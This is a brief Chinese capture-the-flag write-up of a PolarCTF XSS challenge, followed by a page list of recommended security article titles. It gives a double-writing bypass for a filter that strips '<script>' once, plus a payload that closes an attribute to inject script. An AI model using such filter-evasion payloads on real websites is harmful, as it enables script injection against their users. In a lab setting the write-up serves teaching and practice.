很明显是个XSS，尝试常规语句发现会过滤script
尝试双写
<scscriptript>alert(123)</scscriptript>
可以看到只过滤了一次<script>，但是还没有触发弹窗
我们看下源代码，发现需要对value进行闭合
那么payload如下：
"><scscriptript>alert(123)</scscriptript>
【PolarCTF】浮生日记
大方子2026-01-24 9:25
相关推荐
我不是QI3 小时前
一、主持人信息（域名 网站资产情报搜集）原理解析2501_916008894 小时前
HTTPS 抓包遇到证书绑定怎么办，使用 TraceEagle 解除 App 证书校验treesforest5 小时前
你以为只是一串数字？你的IP地址，正在悄悄暴露这些信息Увидимся вчера5 小时前
绿盟堡垒机5611版本—自动改密难寻安逸6 小时前
DVWA-使用sqlmap 进行sql注入过程HackTwoHub7 小时前
解锁 AI 红队全新玩法！Claude-Red 攻防 Skill 库，内置 SQLi、XXE、文件上传等 Web 专项 Skill，一键导入快速落地渗透实战见青..1 天前
phpMyAdmin权限提升数据知道1 天前
邮件安全实战：SPF/DKIM/DMARC 配置与钓鱼绕过世界尽头与你1 天前
Android Root 检测原理kp000001 天前
如何平衡模型输出的“有用性”和“安全性